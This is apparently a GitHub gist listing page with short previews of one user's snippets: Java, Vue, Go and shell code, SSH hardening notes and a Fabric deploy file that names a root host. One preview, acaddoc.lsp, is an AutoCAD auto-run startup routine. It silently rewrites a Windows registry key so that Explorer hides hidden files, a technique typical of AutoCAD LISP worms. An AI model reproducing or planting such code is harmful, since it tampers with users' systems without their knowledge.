Skip to content

Instantly share code, notes, and snippets.

import java.util.*;
import java.util.stream.Collectors;
/**
* 七星彩demo,DEBUG常量改为true开启调试信息
*/
public class SevenStar {
private static final boolean DEBUG = false;
private static final boolean INFO = true;
private static final Map BONUS = Map.of(
@sfpprxy
sfpprxy / no-ssh-password-mac.txt
Created June 12, 2019 06:58 — forked from eegrok/no-ssh-password-mac.txt
disable password ssh authentication on mac os
make sure the following lines are set in /etc/sshd_config (or /etc/ssh/sshd_config on ubuntu)
(they all exist already, but are commented, some may have a value of yes)
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM no
then restart the ssh server (uncheck / recheck 'Remote Login' in the 'System Preferences' -> 'Sharing' panel)
@sfpprxy
sfpprxy / acaddoc.lsp
Created April 23, 2019 03:06
acaddoc.lsp
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
(vl-load-com)
(setvar "cmdecho" 0)
(setvar "filedia" 1)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
"CheckedValue"
0
)
(vl-registry-write
@sfpprxy
sfpprxy / 重构前.vue
Last active June 23, 2018 17:51
图片管理组件
<template xmlns:v-lazy="http://www.w3.org/1999/xhtml">
<div class="al-picture-uploader">
<ul class="al-index-box">
<li v-for="(item, index) in imgs" :key="item.id"
:class="{turnGrey: imgs[index].dragOver}"
draggable="true"
@dragstart="dragstart($event, index)"
@drop="drop($event, index)"
@dragenter="dargenter($event, index)"
@dragleave="dragleave($event, index)"
@sfpprxy
sfpprxy / install-apache-maven-3.5.2.sh
Last active April 18, 2018 05:41 — forked from dragolabs/install-apache-maven-3.5.0.sh
Install Apache Maven 3.5.2 on CentOS
#!/bin/sh
wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.5.2/binaries/apache-maven-3.5.2-bin.tar.gz
tar xzf apache-maven-3.5.2-bin.tar.gz
mkdir /opt/maven
mv apache-maven-3.5.2/ /opt/maven/
alternatives --install /usr/bin/mvn mvn /opt/maven/apache-maven-3.5.2/bin/mvn 1
alternatives --config mvn
@sfpprxy
sfpprxy / getClipboard.js
Last active April 13, 2018 09:54
getClipboard.js
document.onpaste = function(e) {
var pasted = e.clipboardData.getData('Text');
console.log(pasted)
console.log(e.clipboardData.files[0])
}
@sfpprxy
sfpprxy / qiniu_upload.go
Created April 9, 2018 14:21
qiniu_upload.go
package main
import (
"context"
"fmt"
// 存储相关功能的引入包只有这两个,后面不再赘述
"github.com/qiniu/api.v7/auth/qbox"
"github.com/qiniu/api.v7/storage"
@sfpprxy
sfpprxy / fish_right_prompt.sh
Created March 19, 2018 09:57
my fish_right_prompt
wget https://raw.githubusercontent.com/fisherman/dartfish/master/fish_right_prompt.fish
@sfpprxy
sfpprxy / fabfile.py
Created September 27, 2017 20:43
fabfile.py - redeploy
from fabric.api import *
from fabric.operations import local as lrun, run
from fabric.state import env
env.hosts = ['root@106.14.222.86']
# env.hosts = ['root@106.14.222.86', 'user2@host2.port2']
# env.password = 'PASSWORD'
@sfpprxy
sfpprxy / AwaitTest.java
Created September 17, 2017 15:03
AwaitTest.java
package concurrent;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
public class AwaitTest {
private void test() throws Exception {
ExecutorService exe = Executors.newCachedThreadPool();